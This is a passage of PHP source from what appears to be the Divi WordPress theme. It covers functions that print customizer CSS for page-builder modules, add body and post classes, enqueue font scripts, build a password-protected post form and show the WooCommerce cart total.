'percent_font_size', 'selector' => '.et_pb_counters .et_pb_counter_amount', ), array( 'type' => 'padding', 'key' => 'padding', 'selector' => '.et_pb_counter_amount', ), ) ); /* Circle Counter */ et_pb_print_module_styles_css( 'et_pb_circle_counter', array( array( 'type' => 'font-size', 'key' => 'number_font_size', 'selector' => '.et_pb_circle_counter .percent p', ), array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_circle_counter h3', ), ) ); /* Number Counter */ et_pb_print_module_styles_css( 'et_pb_number_counter', array( array( 'type' => 'font-size', 'key' => 'number_font_size', 'selector' => '.et_pb_number_counter .percent p', ), array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_number_counter h3', ), ) ); /* Accordion */ et_pb_print_module_styles_css( 'et_pb_accordion', array( array( 'type' => 'font-size', 'key' => 'toggle_font_size', 'selector' => '.et_pb_accordion .et_pb_toggle_title', ), array( 'type' => 'padding', 'key' => 'custom_padding', 'selector' => '.et_pb_accordion .et_pb_toggle_open, .et_pb_accordion .et_pb_toggle_close', ), ) ); /* Toggle */ et_pb_print_module_styles_css( 'et_pb_toggle', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_toggle.et_pb_toggle_item h5', ), array( 'type' => 'padding', 'key' => 'custom_padding', 'selector' => '.et_pb_toggle.et_pb_toggle_item', ), ) ); /* Contact Form */ et_pb_print_module_styles_css( 'et_pb_contact_form', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_contact_form_container .et_pb_contact_main_title', ), array( 'type' => 'font-size', 'key' => 'form_field_font_size', 'selector' => '.et_pb_contact_form_container .et_pb_contact p input, .et_pb_contact_form_container .et_pb_contact p textarea', ), array( 'type' => 'font-size', 'key' => 'captcha_font_size', 'selector' => '.et_pb_contact_captcha_question', ), array( 'type' => 'padding', 'key' => 'padding', 'selector' => '.et_pb_contact p input, .et_pb_contact p textarea', ), ) ); /* Sidebar */ et_pb_print_module_styles_css( 'et_pb_sidebar', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_widget_area h4', ), ) ); /* Person */ et_pb_print_module_styles_css( 'et_pb_team_member', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_team_member h4', ), array( 'type' => 'font-size', 'key' => 'subheader_font_size', 'selector' => '.et_pb_team_member .et_pb_member_position', ), ) ); /* Blog */ et_pb_print_module_styles_css( 'et_pb_blog', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_posts .et_pb_post h2', ), array( 'type' => 'font-size', 'key' => 'meta_font_size', 'selector' => '.et_pb_posts .et_pb_post .post-meta', ), ) ); /* Blog Masonry */ et_pb_print_module_styles_css( 'et_pb_blog_masonry', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_blog_grid .et_pb_post h2', ), array( 'type' => 'font-size', 'key' => 'meta_font_size', 'selector' => '.et_pb_blog_grid .et_pb_post .post-meta', ), ) ); /* Shop */ et_pb_print_module_styles_css( 'et_pb_shop', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.woocommerce ul.products li.product h3, .woocommerce-page ul.products li.product h3', 'important' => false, ), array( 'type' => 'font-size', 'key' => 'sale_badge_font_size', 'selector' => '.woocommerce span.onsale, .woocommerce-page span.onsale', 'important' => false, ), array( 'type' => 'font-size', 'key' => 'price_font_size', 'selector' => '.woocommerce ul.products li.product .price .amount, .woocommerce-page ul.products li.product .price .amount', 'important' => false, ), array( 'type' => 'font-size', 'key' => 'sale_price_font_size', 'selector' => '.woocommerce ul.products li.product .price ins .amount, .woocommerce-page ul.products li.product .price ins .amount', 'important' => false, ), ) ); /* Countdown */ et_pb_print_module_styles_css( 'et_pb_countdown_timer', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_countdown_timer .title', ), ) ); /* Social */ et_pb_print_module_styles_css( 'et_pb_social_media_follow', array( array( 'type' => 'social-icon-size', 'key' => 'icon_size', 'selector' => '', ), ) ); /* Fullwidth Slider */ et_pb_print_module_styles_css( 'et_pb_fullwidth_slider', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_fullwidth_section .et_pb_slide_description .et_pb_slide_title', 'default' => '46', ), array( 'type' => 'font-size', 'key' => 'body_font_size', 'selector' => '.et_pb_fullwidth_section .et_pb_slide_content', 'default' => 16, ), array( 'type' => 'padding-slider', 'key' => 'padding', 'selector' => '.et_pb_fullwidth_section .et_pb_slide_description', 'default' => '16', ), ) ); // <<<--------- END MODULE CUSTOMIZER CSS --------->>> /** * Filter Module Customizer CSS output. * * @since 3.0.51 * * @param string $module_customizer_css */ $css_output[] = apply_filters( 'et_divi_module_customizer_css_output', ob_get_clean() ); } // Give the output to the style manager so a static resource can be created and served. $styles_manager->set_data( implode( '\n', $css_output ) ); } add_action( 'wp', 'et_divi_add_customizer_css' ); /** * Outputting saved customizer style settings * * @return void */ function et_pb_print_css( $setting ) { // Defaults value $defaults = array( 'key' => false, 'selector' => false, 'type' => false, 'default' => false, 'important' => false ); // Parse given settings aginst defaults $setting = wp_parse_args( $setting, $defaults ); if ( $setting['key'] !== false || $setting['selector'] !== false || $setting['type'] !== false || $setting['settings'] !== false ) { // Some attribute requires !important tag if ( $setting['important'] ) { $important = "!important"; } else { $important = ""; } // get value $value = et_get_option( $setting['key'], $setting['default'] ); // Output css based on its type if ( $value !== false && $value != $setting['default'] ) { switch ( $setting['type'] ) { case 'font-size': printf( '%1$s { font-size: %2$spx %3$s; }', esc_html( $setting['selector'] ), esc_html( $value ), $important ); break; case 'font-size-post-header': $posts_font_size = intval( $value ) * ( 26 / 30 ); printf( 'body.home-posts #left-area .et_pb_post h2, body.archive #left-area .et_pb_post h2, body.search #left-area .et_pb_post h2 { font-size:%1$spx } body.single .et_post_meta_wrapper h1 { font-size:%2$spx; }', esc_html( $posts_font_size ), esc_html( $value ) ); break; case 'font-style': printf( '%1$s { %2$s }', esc_html( $setting['selector'] ), et_pb_print_font_style( $value, $important ) ); break; case 'letter-spacing': printf( '%1$s { letter-spacing: %2$spx %3$s; }', esc_html( $setting['selector'] ), esc_html( $value ), $important ); break; case 'line-height': printf( '%1$s { line-height: %2$sem %3$s; }', esc_html( $setting['selector'] ), esc_html( $value ), $important ); break; case 'color': printf( '%1$s { color: %2$s; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'background-color': printf( '%1$s { background-color: %2$s; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'border-radius': printf( '%1$s { -moz-border-radius: %2$spx; -webkit-border-radius: %2$spx; border-radius: %2$spx; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'width': printf( '%1$s { width: %2$spx; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'height': printf( '%1$s { height: %2$spx; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'padding': printf( '%1$s { padding: %2$spx; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'padding-top-bottom': printf( '%1$s { padding: %2$spx 0; }', esc_html( $setting['selector'] ), esc_html( $value ) ); break; case 'padding-tabs': printf( '%1$s { padding: %2$spx %3$spx; }', esc_html( $setting['selector'] ), esc_html( ( intval( $value ) * 0.5 ) ), esc_html( $value ) ); break; case 'padding-fullwidth-slider': printf( '%1$s { padding: %2$s %3$s; }', esc_html( $setting['selector'] ), esc_html( $value ) . '%', '0' ); break; case 'padding-slider': printf( '%1$s { padding: %2$s %3$s; }', esc_html( $setting['selector'] ), esc_html( $value ) . '%', esc_html( ( intval( $value ) / 2 ) ) . '%' ); break; case 'social-icon-size': $icon_margin = intval( $value ) * 0.57; $icon_dimension = intval( $value ) * 2; ?> .et_pb_social_media_follow li a.icon{ margin-right: <?php echo esc_html( $icon_margin ); ?>px; width: <?php echo esc_html( $icon_dimension ); ?>px; height: <?php echo esc_html( $icon_dimension ); ?>px; } .et_pb_social_media_follow li a.icon::before{ width: <?php echo esc_html( $icon_dimension ); ?>px; height: <?php echo esc_html( $icon_dimension ); ?>px; font-size: <?php echo esc_html( $value ); ?>px; line-height: <?php echo esc_html( $icon_dimension ); ?>px; } <?php break; } } } } /** * Outputting saved customizer style(s) settings */ function et_pb_print_styles_css( $settings = array() ) { // $settings should be in array if ( is_array( $settings ) && ! empty( $settings ) ) { // Loop settings foreach ( $settings as $setting ) { // Print css et_pb_print_css( $setting ); } } } /** * Outputting saved module styles settings. DRY * * @return void */ function et_pb_print_module_styles_css( $section = '', $settings = array() ) { $css = 'et_builder_maybe_wrap_css_selector'; // Verify settings if ( is_array( $settings ) && ! empty( $settings ) ) { // Loop settings foreach ( $settings as $setting ) { // settings must have these elements: key, selector, default, and type if ( ! isset( $setting['key'] ) || ! isset( $setting['selector'] ) || ! isset( $setting['type'] ) ) { continue; } // Some attributes such as shop requires !important tag if ( isset( $setting['important'] ) && true === $setting['important'] ) { $important = ' !important'; } else { $important = ''; } // Prepare the setting key $key = "{$section}-{$setting['key']}"; // Get the value $value = ET_Global_Settings::get_value( $key ); $default_value = ET_Global_Settings::get_value( $key, 'default' ); // Format the selector. $selector = $css( $setting['selector'], false ); // Output CSS based on its type if ( false !== $value && $default_value !== $value ) { switch ( $setting['type'] ) { case 'font-size': printf( "%s { font-size: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important ); // Option with specific adjustment for smaller columns $smaller_title_sections = array( 'et_pb_audio-title_font_size', 'et_pb_blog-header_font_size', 'et_pb_cta-header_font_size', 'et_pb_contact_form-title_font_size', 'et_pb_login-header_font_size', 'et_pb_signup-header_font_size', 'et_pb_slider-header_font_size', 'et_pb_slider-body_font_size', 'et_pb_countdown_timer-header_font_size', ); if ( in_array( $key, $smaller_title_sections ) ) { // font size coefficient switch ( $key ) { case 'et_pb_slider-header_font_size': $font_size_coefficient = .565217391; // 26/46 break; case 'et_pb_slider-body_font_size': $font_size_coefficient = .777777778; // 14/16 break; default: $font_size_coefficient = .846153846; // 22/26 break; } printf( '%1$s { font-size: %2$spx%3$s; }', esc_html( $css( '.et_pb_column_1_3 ' . $setting['selector'], false ) ), esc_html( $value * $font_size_coefficient ), $important ); printf( '%1$s { font-size: %2$spx%3$s; }', esc_html( $css( '.et_pb_column_1_4 ' . $setting['selector'], false ) ), esc_html( $value * $font_size_coefficient ), $important ); } break; case 'font-size': $value = intval( $value ); printf( $css( '.et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value ) ); printf( $css( '.et_pb_column_3_8 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) ); printf( $css( '.et_pb_column_1_3 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) ); printf( $css( '.et_pb_column_1_4 .et_pb_countdown_timer .title', false ) . ' { font-size: %spx; }', esc_html( $value * ( 18 / 22 ) ) ); break; case 'font-style': printf( "%s { %s }\n", esc_html( $selector ), et_pb_print_font_style( $value, $important ) ); break; case 'color': printf( "%s { color: %s%s; }\n", esc_html( $selector ), esc_html( $value ), $important ); break; case 'background-color': printf( "%s { background-color: %s%s; }\n", esc_html( $selector ), esc_html( $value ), $important ); break; case 'border-radius': printf( "%s { -moz-border-radius: %spx; -webkit-border-radius: %spx; border-radius: %spx; }\n", esc_html( $selector ), esc_html( $value ), esc_html( $value ), esc_html( $value ) ); break; case 'width': printf( "%s { width: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important ); break; case 'height': printf( "%s { height: %spx%s; }\n", esc_html( $selector ), esc_html( $value ), $important ); break; case 'padding': printf( "%s { padding: %spx; }\n", esc_html( $selector ), esc_html( $value ) ); break; case 'padding-top-bottom': printf( "%s { padding: %spx 0; }\n", esc_html( $selector ), esc_html( $value ) ); break; case 'padding-tabs': $padding_tab_top_bottom = intval( $value ) * 0.133333333; $padding_tab_active_top = $padding_tab_top_bottom + 1; $padding_tab_active_bottom = $padding_tab_top_bottom - 1; $padding_tab_content = intval( $value ) * 0.8; // negative result will cause layout issue if ( $padding_tab_active_bottom < 0 ) { $padding_tab_active_bottom = 0; } printf( "%s { padding: %spx %spx %spx; }\n", esc_html( $css( '.et_pb_tabs_controls li', false ) ), esc_html( $padding_tab_active_top ), esc_html( $value ), esc_html( $padding_tab_active_bottom ) ); printf( "%s { padding: %spx %spx; }\n", esc_html( $css( '.et_pb_tabs_controls li.et_pb_tab_active', false ) ), esc_html( $padding_tab_top_bottom ), esc_html( $value ) ); printf( "%s { padding: %spx %spx; }\n", esc_html( $css( '.et_pb_all_tabs', false ) ), esc_html( $padding_tab_content ), esc_html( $value ) ); break; case 'padding-slider': printf( "%s { padding-top: %s; padding-bottom: %s }\n", esc_html( $selector ), esc_html( $value ) . '%', esc_html( $value ) . '%' ); if ( 'et_pagebuilder_slider_padding' === $key ) { printf( '@media only screen and ( max-width: 767px ) { %1$s { padding-top: %2$s; padding-bottom: %2$s; } }', esc_html( $selector ), '16%' ); } break; case 'padding-call-to-action': $value = intval( $value ); printf( "%s { padding: %spx %spx !important; }\n", esc_html( $css( '.et_pb_promo', false ) ), esc_html( $value ), esc_html( $value * ( 60 / 40 ) ) ); printf( "%s { padding: %spx; }\n", esc_html( $css( '.et_pb_column_1_2 .et_pb_promo', false ) ), esc_html( $value ) ); printf( "%s { padding: %spx; }\n", esc_html( $css( '.et_pb_column_1_3 .et_pb_promo', false ) ), esc_html( $value ) ); printf( "%s { padding: %spx; }\n", esc_html( $css( '.et_pb_column_1_4 .et_pb_promo', false ) ), esc_html( $value ) ); break; case 'social-icon-size': $icon_margin = intval( $value ) * 0.57; $icon_dimension = intval( $value ) * 2; ?> <?php echo $css( '.et_pb_social_media_follow li a.icon', false ); ?> { margin-right: <?php echo esc_html( $icon_margin ); ?>px; width: <?php echo esc_html( $icon_dimension ); ?>px; height: <?php echo esc_html( $icon_dimension ); ?>px; } <?php echo $css( '.et_pb_social_media_follow li a.icon::before', false ); ?> { width: <?php echo esc_html( $icon_dimension ); ?>px; height: <?php echo esc_html( $icon_dimension ); ?>px; font-size: <?php echo esc_html( $value ); ?>px; line-height: <?php echo esc_html( $icon_dimension ); ?>px; } <?php echo $css( '.et_pb_social_media_follow li a.follow_button', false ); ?> { font-size: <?php echo esc_html( $value ); ?>px; } <?php break; case 'border-top-style': printf( "%s { border-top-style: %s; }\n", esc_html( $selector ), esc_html( $value ) ); break; case 'border-top-width': printf( "%s { border-top-width: %spx; }\n", esc_html( $selector ), esc_html( $value ) ); break; } } } } } /** * Outputting font-style attributes & values saved by ET_Divi_Font_Style_Option on customizer * * @return string */ function et_pb_print_font_style( $styles = '', $important = '' ) { // Prepare variable $font_styles = ""; if ( '' !== $styles && false !== $styles && ! is_null( $styles ) ) { // Convert string into array $styles_array = explode( '|', $styles ); // If $important is in use, give it a space if ( $important && '' !== $important ) { $important = " " . $important; } // Use in_array to find values in strings. Otherwise, display default text // Font weight if ( in_array( 'bold', $styles_array ) ) { $font_styles .= "font-weight: bold{$important}; "; } else { $font_styles .= "font-weight: normal{$important}; "; } // Font style if ( in_array( 'italic', $styles_array ) ) { $font_styles .= "font-style: italic{$important}; "; } else { $font_styles .= "font-style: normal{$important}; "; } // Text-transform if ( in_array( 'uppercase', $styles_array ) ) { $font_styles .= "text-transform: uppercase{$important}; "; } else { $font_styles .= "text-transform: none{$important}; "; } // Text-decoration if ( in_array( 'underline', $styles_array ) ) { $font_styles .= "text-decoration: underline{$important}; "; } else { $font_styles .= "text-decoration: none{$important}; "; } } return esc_html( $font_styles ); } /* * Adds color scheme class to the body tag */ function et_customizer_color_scheme_class( $body_class ) { $color_scheme = et_get_option( 'color_schemes', 'none' ); $color_scheme_prefix = 'et_color_scheme_'; if ( 'none' !== $color_scheme ) $body_class[] = $color_scheme_prefix . $color_scheme; return $body_class; } add_filter( 'body_class', 'et_customizer_color_scheme_class' ); /* * Adds button class to the body tag */ function et_customizer_button_class( $body_class ) { $button_icon_placement = et_get_option( 'all_buttons_icon_placement', 'right' ); $button_icon_on_hover = et_get_option( 'all_buttons_icon_hover', 'yes' ); $button_use_icon = et_get_option( 'all_buttons_icon', 'yes' ); $button_icon = et_get_option( 'all_buttons_selected_icon', '5' ); if ( 'left' === $button_icon_placement ) { $body_class[] = 'et_button_left'; } if ( 'no' === $button_icon_on_hover ) { $body_class[] = 'et_button_icon_visible'; } if ( 'no' === $button_use_icon ) { $body_class[] = 'et_button_no_icon'; } if ( '5' !== $button_icon ) { $body_class[] = 'et_button_custom_icon'; } $body_class[] = 'et_pb_button_helper_class'; return $body_class; } add_filter( 'body_class', 'et_customizer_button_class' ); function et_load_google_fonts_scripts() { $theme_version = et_get_theme_version(); wp_enqueue_script( 'et_google_fonts', get_template_directory_uri() . '/epanel/google-fonts/et_google_fonts.js', array( 'jquery' ), $theme_version, true ); wp_localize_script( 'et_google_fonts', 'et_google_fonts_data', array( 'user_fonts' => et_builder_get_custom_fonts(), ) ); } add_action( 'customize_controls_print_footer_scripts', 'et_load_google_fonts_scripts' ); function et_load_google_fonts_styles() { $theme_version = et_get_theme_version(); wp_enqueue_style( 'et_google_fonts_style', get_template_directory_uri() . '/epanel/google-fonts/et_google_fonts.css', array(), $theme_version ); } add_action( 'customize_controls_print_styles', 'et_load_google_fonts_styles' ); if ( ! function_exists( 'et_divi_post_meta' ) ) : function et_divi_post_meta() { $postinfo = is_single() ? et_get_option( 'divi_postinfo2' ) : et_get_option( 'divi_postinfo1' ); if ( $postinfo ) : echo '<p class="post-meta">'; echo et_pb_postinfo_meta( $postinfo, et_get_option( 'divi_date_format', 'M j, Y' ), esc_html__( '0 comments', 'Divi' ), esc_html__( '1 comment', 'Divi' ), '% ' . esc_html__( 'comments', 'Divi' ) ); echo '</p>'; endif; } endif; function et_video_embed_html( $video ) { if ( is_single() && 'video' === et_pb_post_format() ) { static $post_video_num = 0; $post_video_num++; // Hide first video in the post content on single video post page if ( 1 === $post_video_num ) { return ''; } } return "<div class='et_post_video'>{$video}</div>"; } function et_do_video_embed_html(){ add_filter( 'embed_oembed_html', 'et_video_embed_html' ); } add_action( 'et_before_content', 'et_do_video_embed_html' ); /** * Removes galleries on single gallery posts, since we display images from all * galleries on top of the page */ function et_delete_post_gallery( $content ) { $deleted = false; if ( ( is_single() || is_archive() ) && is_main_query() && has_post_format( 'gallery' ) ) : if ( et_theme_builder_overrides_layout( ET_THEME_BUILDER_BODY_LAYOUT_POST_TYPE ) ) { // Do not remove galleries when TB has taken over. return $content; } $regex = get_shortcode_regex(); preg_match_all( "/{$regex}/s", $content, $matches ); // $matches[2] holds an array of shortcodes names in the post foreach ( $matches[2] as $key => $shortcode_match ) { if ( 'gallery' === $shortcode_match ) { $content = str_replace( $matches[0][$key], '', $content ); $deleted = true; break; } } $content = apply_filters('et_delete_post_gallery', $content, $deleted); endif; return $content; } add_filter( 'the_content', 'et_delete_post_gallery' ); // Include GB galleries in `get_post_gallery` add_filter( 'et_gb_gallery_include_in_get_post_gallery', '__return_true' ); function et_divi_post_admin_scripts_styles( $hook ) { global $typenow; $theme_version = et_get_theme_version(); $current_screen = get_current_screen(); if ( ! in_array( $hook, array( 'post-new.php', 'post.php' ) ) ) return; if ( ! isset( $typenow ) ) return; if ( in_array( $typenow, array( 'post' ) ) ) { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_script( 'et-admin-post-script', get_template_directory_uri() . '/js/admin_post_settings.js', array( 'jquery' ), $theme_version ); } } add_action( 'admin_enqueue_scripts', 'et_divi_post_admin_scripts_styles' ); function et_password_form() { $pwbox_id = rand(); $form_output = sprintf( '<div class="et_password_protected_form"> <h1>%1$s</h1> <p>%2$s:</p> <form action="%3$s" method="post"> <p><label for="%4$s">%5$s: </label><input name="post_password" id="%4$s" type="password" size="20" maxlength="20" /></p> <p><button type="submit" name="et_divi_submit_button" class="et_submit_button et_pb_button">%6$s</button></p> </form> </div>', esc_html__( 'Password Protected', 'Divi' ), esc_html__( 'To view this protected post, enter the password below', 'Divi' ), esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ), esc_attr( 'pwbox-' . $pwbox_id ), esc_html__( 'Password', 'Divi' ), esc_html__( 'Submit', 'Divi' ) ); $output = sprintf( '<div class="et_pb_section et_section_regular"> <div class="et_pb_row"> <div class="et_pb_column et_pb_column_4_4"> %1$s </div> </div> </div>', $form_output ); return preg_replace( '/\t+/', '', $output ); } add_filter( 'the_password_form', 'et_password_form' ); function et_add_wp_version( $classes ) { global $wp_version; $is_admin_body_class = 'admin_body_class' === current_filter(); // add 'et-wp-pre-3_8' class if the current WordPress version is less than 3.8 if ( version_compare( $wp_version, '3.7.2', '<=' ) ) { if ( 'body_class' === current_filter() ) { $classes[] = 'et-wp-pre-3_8'; } else { $classes .= ' et-wp-pre-3_8'; } } else if ( $is_admin_body_class ) { $classes .= ' et-wp-after-3_8'; } if ( $is_admin_body_class ) { $classes = ltrim( $classes ); } return $classes; } add_filter( 'body_class', 'et_add_wp_version' ); add_filter( 'admin_body_class', 'et_add_wp_version' ); /** * Determine whether current primary nav uses transparent nav or not based on primary nav background * @return bool */ function et_divi_is_transparent_primary_nav() { return 'rgba' === substr( strval( et_get_option( 'primary_nav_bg', '#ffffff' ) ), 0, 4 ); } function et_layout_body_class( $classes ) { $has_tb_header = in_array( 'et-tb-has-header', $classes ); $has_tb_footer = in_array( 'et-tb-has-footer', $classes ); $is_blank_page_tpl = is_page_template( 'page-template-blank.php' ); do_action( 'et_layout_body_class_before', $classes ); // Check here if we want to enable the dot navigation for the Frontpage or Single page. // On archive pages `get_the_ID()` always returns the ID of the first post. // For that we need to check if its a single page or not as Dot navigation can only be enabled in single pages. // If we want to use disable this we can always remove the safe check from the `et_pb_side_nav_on_single` feature. if ( apply_filters( 'et_pb_side_nav_on_single', is_singular() || is_home() || is_front_page() ) && 'on' === get_post_meta( get_the_ID(), '_et_pb_side_nav', true ) && et_pb_is_pagebuilder_used( get_the_ID() ) ) { $classes[] = 'et_pb_side_nav_page'; } if ( ! $has_tb_header && ! $is_blank_page_tpl ) { $vertical_nav = et_get_option( 'vertical_nav', false ); if ( et_divi_is_transparent_primary_nav() && ( false === $vertical_nav || '' === $vertical_nav ) ) { $classes[] = 'et_transparent_nav'; } if ( true === et_get_option( 'nav_fullwidth', false ) ) { if ( true === et_get_option( 'vertical_nav', false ) ) { $classes[] = 'et_fullwidth_nav_temp'; } else { $classes[] = 'et_fullwidth_nav'; } } if ( true === et_get_option( 'secondary_nav_fullwidth', false ) ) { $classes[] = 'et_fullwidth_secondary_nav'; } if ( true === et_get_option( 'vertical_nav', false ) ) { $classes[] = 'et_vertical_nav'; if ( 'right' === et_get_option( 'vertical_nav_orientation', 'left' ) ) { $classes[] = 'et_vertical_right'; } } else if ( 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) { $classes[] = 'et_fixed_nav'; } else if ( 'on' !== et_get_option( 'divi_fixed_nav', 'on' ) ) { $classes[] = 'et_non_fixed_nav'; } if ( true === et_get_option( 'vertical_nav', false ) && 'on' === et_get_option( 'divi_fixed_nav', 'on' ) ) { $classes[] = 'et_vertical_fixed'; } if ( true === et_get_option( 'hide_nav', false ) && ( ! is_singular() || is_singular() && 'no' !== get_post_meta( get_the_ID(), '_et_pb_post_hide_nav', true ) ) ) { $classes[] = 'et_hide_nav'; } else { $classes[] = 'et_show_nav'; } if ( is_singular() && 'on' === get_post_meta( get_the_ID(), '_et_pb_show_title', true ) ) { $classes[] = 'et_pb_show_title'; } if ( true === et_get_option( 'hide_primary_logo', false ) ) { $classes[] = 'et_hide_primary_logo'; } if ( true === et_get_option( 'hide_fixed_logo', false ) ) { $classes[] = 'et_hide_fixed_logo'; } if ( true === et_get_option( 'hide_mobile_logo', false ) ) { $classes[] = 'et_hide_mobile_logo'; } $et_secondary_nav_items = et_divi_get_top_nav_items(); if ( $et_secondary_nav_items->top_info_defined && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) { $classes[] = 'et_secondary_nav_enabled'; } if ( $et_secondary_nav_items->two_info_panels && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) { $classes[] = 'et_secondary_nav_two_panels'; } if ( $et_secondary_nav_items->secondary_nav && ! ( $et_secondary_nav_items->contact_info_defined || $et_secondary_nav_items->show_header_social_icons ) && 'slide' !== et_get_option( 'header_style', 'left' ) && 'fullscreen' !== et_get_option( 'header_style', 'left' ) ) { $classes[] = 'et_secondary_nav_only_menu'; } if ( is_singular() && et_builder_enabled_for_post( get_the_ID() ) && 'on' == get_post_meta( get_the_ID(), '_et_pb_post_hide_nav', true ) ) { $classes[] = 'et_hide_nav'; } $primary_dropdown_animation = et_get_option( 'primary_nav_dropdown_animation', 'fade' ); $classes[] = esc_attr( "et_primary_nav_dropdown_animation_{$primary_dropdown_animation}" ); $secondary_dropdown_animation = et_get_option( 'secondary_nav_dropdown_animation', 'fade' ); $classes[] = esc_attr( "et_secondary_nav_dropdown_animation_{$secondary_dropdown_animation}" ); $header_style = et_get_option( 'header_style', 'left' ); $classes[] = esc_attr( "et_header_style_{$header_style}" ); if ( 'slide' === $header_style || 'fullscreen' === $header_style ) { $classes[] = esc_attr( "et_header_style_left" ); if ( 'fullscreen' === $header_style && ! et_get_option( 'slide_nav_show_top_bar', true ) ) { // additional class if top bar disabled in Fullscreen menu $classes[] = esc_attr( "et_pb_no_top_bar_fullscreen" ); } } $logo = et_get_option( 'divi_logo', '' ); if ( '.svg' === substr( strval( $logo ), -4, 4 ) ) { $classes[] = 'et_pb_svg_logo'; } } if ( ! $has_tb_footer && ! $is_blank_page_tpl ) { $footer_columns = et_get_option( 'footer_columns', '4' ); $classes[] = esc_attr( "et_pb_footer_columns{$footer_columns}" ); } // home-posts class is used by customizer > blog to work. It modifies post title and meta // of WP default layout (home, archive, single), but should not modify post title and meta of blog module (page as home) if ( in_array( 'home', $classes ) && ! in_array( 'page', $classes ) ) { $classes[] = 'home-posts'; } if ( true === et_get_option( 'boxed_layout', false ) ) { $classes[] = 'et_boxed_layout'; } if ( false !== et_get_option( 'cover_background', true ) ) { $classes[] = 'et_cover_background'; } if ( ! et_get_option( 'use_sidebar_width', false ) ) { $classes[] = 'et_pb_gutter'; } if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) { if ( stristr( $_SERVER['HTTP_USER_AGENT'], "mac" ) ) { $classes[] = 'osx'; } elseif ( stristr( $_SERVER['HTTP_USER_AGENT'], "linux" ) ) { $classes[] = 'linux'; } elseif ( stristr( $_SERVER['HTTP_USER_AGENT'], "windows" ) ) { $classes[] = 'windows'; } } $page_custom_gutter = get_post_meta( get_the_ID(), '_et_pb_gutter_width', true ); $gutter_width = ! empty( $page_custom_gutter ) && is_singular() ? $page_custom_gutter : (string) et_get_option( 'gutter_width', '3' ); $classes[] = esc_attr( "et_pb_gutters{$gutter_width}" ); // Add the page builder class. if ( et_pb_is_pagebuilder_used( get_the_ID() ) && ! ET_GB_Block_Layout::is_layout_block_preview() ) { $classes[] = 'et_pb_pagebuilder_layout'; } // Add smooth scroll class name if ( 'on' === et_get_option( 'divi_smooth_scroll', false ) ) { $classes[] = 'et_smooth_scroll'; } do_action( 'et_layout_body_class_after', $classes ); return $classes; } add_filter( 'body_class', 'et_layout_body_class' ); if ( ! function_exists( 'et_layout_post_class' ) ): function et_layout_post_class( $classes ) { global $template; $post_id = get_the_ID(); $post_type = get_post_type( $post_id ); $template_name = ! empty( $template ) ? basename( $template ) : ''; // phpcs:ignore Generic.WhiteSpace.ScopeIndent.Incorrect -- We decided to ignore indentation change. if ( 'page' === $post_type ) { // Don't add the class to pages. return $classes; } if ( in_array( $template_name, array( 'index.php', 'single.php' ) ) ) { // The class has already been added by one of the theme's templates. return $classes; } // Since the theme's templates are not being used, we don't add the class on CPT archive pages. if ( is_single() && et_pb_is_pagebuilder_used( $post_id ) ) { $classes[] = 'et_pb_post'; } return $classes; } add_filter( 'post_class', 'et_layout_post_class' ); endif; if ( ! function_exists( 'et_show_cart_total' ) ) { function et_show_cart_total( $args = array() ) { if ( ! class_exists( 'woocommerce' ) || ! WC()->cart ) { return; } $defaults = array( 'no_text' => false, ); $args = wp_parse_args( $args, $defaults ); $items_number = WC()->cart->get_cart_contents_count(); $url = function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : WC()->cart->get_cart_url(); printf( '<a href="%1$s" class="et-cart-info"> <span>%2$s</span> </a>', esc_url( $url ), ( ! $args['no_text'] ? esc_html( sprintf( _nx( '%1$s Item', '%1$s Items', $items_number, 'WooCommerce items number', 'Divi' ), number_format_i18n( $items_number ) ) ) : '' ) ); } } if ( ! function_exists( 'et_divi_get_top_nav_items' ) ) { function et_divi_get_top_nav_items() { $items = new stdClass; $items->phone_number = trim( strval( et_get_option( 'phone_number' ) ) ); $items->email = trim( strval( et_get_option( 'header_email' ) ) ); $items->contact_info_defined = $items->phone_number || $items->email; $items->show_header_social_icons = et_get_option( 'show_header_social_icons', false ); $items->secondary_nav = wp_nav_menu( array( 'theme_location' => 'secondary-menu', 'container' => '', 'fallback_cb' => '', 'menu_id' => 'et-secondary-nav', 'echo' => false, ) ); $items->top_info_defined = $items->contact_info_defined || $items->show_header_social_icons || $items->secondary_nav; $items->two_info_panels = $items->contact_info_defined && ( $items->show_header_social_icons || $items->secondary_nav ); return $items; } } function et_divi_activate_features(){ define( 'ET_SHORTCODES_VERSION', et_get_theme_version() ); /* activate shortcodes */ require_once( get_template_directory() . '/epanel/shortcodes/shortcodes.php' ); } add_action( 'init', 'et_divi_activate_features' 